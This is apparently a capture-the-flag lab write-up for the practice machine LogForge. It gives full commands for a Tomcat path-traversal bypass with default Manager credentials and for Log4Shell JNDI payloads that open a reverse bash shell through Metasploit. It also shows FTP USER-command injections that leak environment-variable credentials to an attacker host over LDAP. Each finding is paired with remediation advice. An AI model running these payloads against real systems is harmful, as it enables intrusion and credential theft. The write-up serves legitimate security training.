LogForge
Summary
An Apache 2.4.41 front end on port 80 reverse-proxied an internal Apache Tomcat 9.0.31. Apache answered 403 for /manager, but Tomcat treats the path segment /..;/ as /../ while Apache does not, so /anything/..;/manager reached the Tomcat Manager, which accepted a default credential. The Manager's session-expire form passes its idle value through a vulnerable Log4j, so a Log4Shell (CVE-2021-44228) JNDI lookup served by Metasploit's LDAP gadget server returned a reverse shell as the tomcat service user, and user.txt was readable in /home/htb.
Root was running a Java FTP server on port 21 that logs the login name it receives through the same Log4j and holds its credentials in environment variables. Nested ${env:...} lookups in the FTP USER command leaked the account name and password inside outbound LDAP queries, and logging in to that FTP service as ippsec gave read access to /root, where root.txt was downloaded.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path: how the box was taken
Exact commands 4
Add the host alias used in the requests below.
$ echo "$TARGET logforge.htb" | sudo tee -a /etc/hosts22 and 80 open; 21 and 8080 filtered from outside.
$ nmap -Pn -sV -p21,22,80,8080 $TARGET
21/tcp filtered ftp
22/tcp open ssh
80/tcp open http
8080/tcp filtered http-proxyServer: Apache/2.4.41 (Ubuntu), a JSESSIONID cookie and the page title.
$ curl -ksS -L -D - http://$TARGET/Admin, host-manager, manager and server-status all return 403.
$ gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -qFixMake the reverse proxy and Tomcat agree on path handlingHigh
/..;/ differently, so the access restriction could be bypassed and the internal management console reached through the public site.; in the path and upgrade Tomcat to a current 9.0.x release./..;/ to /../. Requesting /anything/..;/manager therefore passed Apache untouched and landed on Tomcat's Manager, which prompted for Basic authentication and accepted Tomcat's well-known default for the tomcat account. The authenticated Manager page reported Apache Tomcat/9.0.31 (Ubuntu). --path-as-is stops curl from collapsing the ..; segment before it is sent.Exact commands 2
Base URL for the Manager through the bypass.
$ MGR='http://logforge.htb/anything/..;/manager'$PASSWORD is the default Manager password for the tomcat account; expect HTTP 200.
$ curl --path-as-is -sS -i -u "tomcat:$PASSWORD" "$MGR/html"FixReplace default Tomcat Manager credentialsCritical
tomcat account, so anyone who reached the console was instantly authenticated as an administrator.idle value is written to the application log. The Tomcat process loads its logging from /usr/share/tomcat9/log4j2/lib, a Log4j 2 build that still evaluates ${jndi:...} lookups in logged strings. Posting a JNDI lookup as idle made the server open a TCP connection to a netcat listener on my machine. The backslash before ${jndi stops the local shell from expanding it while still letting $ATTACKER_IP expand.Exact commands 2
Catches the JNDI connect-back.
$ nc -lvnp 4444The request hangs while Java waits on the LDAP connection; the listener shows the inbound connect.
$ curl --path-as-is -sS -o /dev/null -w '%{http_code}\n' -u "tomcat:$PASSWORD" -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode "idle=\${jndi:ldap://$ATTACKER_IP:4444/}" "$MGR/html/expire?path=/x"FixPatch Log4j and disable JNDI lookupsCritical
${jndi:...} strings in logged input and deserialized externally supplied objects over LDAP, giving remote code execution as the tomcat user.com.sun.jndi.cosnaming.object.trustURLCodebase=true from the JVM options, and scan for vulnerable log4j-core JARs.idle lookup at that LDAP server delivered a reverse bash shell running as tomcat, and user.txt was found in /home/htb.Exact commands 5
Shell listener.
$ nc -lvnp 10002Leave it running; it serves the gadget to any lookup that reaches port 1390.
$ msfconsole -q -x "use exploit/multi/http/log4shell_header_injection; set RHOSTS $TARGET; set RPORT 80; set VHOST logforge.htb; set TARGETURI /; set HTTP_HEADER X-Ptest; set TARGET 2; set PAYLOAD cmd/unix/reverse_bash; set JAVA_GADGET_CHAIN CommonsCollections5; set SRVHOST $ATTACKER_IP; set SRVPORT 1390; set LHOST $ATTACKER_IP; set LPORT 10002; set DisablePayloadHandler true; set AutoCheck false; set ForceExploit true; set WfsDelay 180; run"Returns 200 and the shell lands on 10002.
$ curl --path-as-is --max-time 15 -sS -o /dev/null -w '%{http_code}\n' -u "tomcat:$PASSWORD" -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode "idle=\${jndi:ldap://$ATTACKER_IP:1390/x}" "$MGR/html/expire?path=/x"Confirms the tomcat account.
$ id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)Prints /home/htb/user.txt and its contents (<user.txt>).
$ find / -type f -name user.txt -readable -exec sh -c 'printf "PATH=%s\n" "$1"; cat "$1"' sh {} \; 2>/dev/nulljava -jar /root/ftpServer-1.0-SNAPSHOT-all.jar, and ss showed a listener on port 21, the port that was filtered from outside. A world-readable copy of the same JAR sat at the filesystem root. This server takes its valid login from the environment variables ftp_user and ftp_password and logs the username it receives through Log4j, which makes the FTP USER command a second Log4Shell injection point that runs as root.Exact commands 1
Shows the root-owned FTP process, the port 21 listener and the readable JAR copy.
$ ps auxww | grep -E '[f]tpServer|[j]ava'; ss -lntp; find / -type f -name 'ftpServer-1.0-SNAPSHOT-all.jar*' -ls 2>/dev/nullFixRun the internal FTP service unprivileged and jail it to a data directoryHigh
/.${jndi:ldap://host/user:${env:ftp_user}} first replaces ${env:ftp_user} with the variable's value and then sends that value as the LDAP query name. A second Metasploit LDAP listener on 1391 gave the lookups somewhere to go, and tcpdump on my machine captured the query names in clear text. The first attempt leaked the account name ippsec. Lookups placed in the PASS command did not appear in the capture, because only the username is logged, so the password lookup was moved into the USER line, which leaked the password. Inside the reverse shell, set $ATTACKER_IP to the same address before running the printf lines.Exact commands 4
On my machine: an LDAP endpoint for the leak lookups.
$ msfconsole -q -x "use exploit/multi/http/log4shell_header_injection; set RHOSTS $TARGET; set RPORT 80; set VHOST logforge.htb; set TARGETURI /; set HTTP_HEADER X-Ptest; set TARGET 2; set PAYLOAD cmd/unix/reverse_bash; set JAVA_GADGET_CHAIN CommonsCollections5; set SRVHOST $ATTACKER_IP; set SRVPORT 1391; set LHOST $ATTACKER_IP; set LPORT 10003; set DisablePayloadHandler true; set AutoCheck false; set ForceExploit true; set VERBOSE true; set WfsDelay 600; run"On my machine: prints the LDAP query names as they arrive.
$ sudo tcpdump -A -nn -i any "src host $TARGET and dst port 1391"In the tomcat shell: the capture shows user:ippsec.
$ printf 'USER ${jndi:ldap://%s:1391/user:${env:ftp_user}}\r\nPASS x\r\nQUIT\r\n' "$ATTACKER_IP" | nc -w 8 127.0.0.1 21The password lookup must go in USER; the capture shows pass: followed by the password.
$ printf 'USER ${jndi:ldap://%s:1391/pass:${env:ftp_password}}\r\nPASS x\r\nQUIT\r\n' "$ATTACKER_IP" | nc -w 8 127.0.0.1 21FixKeep secrets out of process environments and out of logged inputHigh
${env:ftp_password} disclosed the live credentials to an unauthorised user.Exact commands 1
$PASSWORD2 is the leaked FTP password for ippsec; active mode is required on this server.
$ python3 -c "from ftplib import FTP; f=FTP('127.0.0.1'); f.login('ippsec','$PASSWORD2'); f.set_pasv(False); print('PWD='+f.pwd()); b=[]; f.retrbinary('RETR root.txt',b.append); print(b''.join(b).decode().strip()); f.quit()"Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |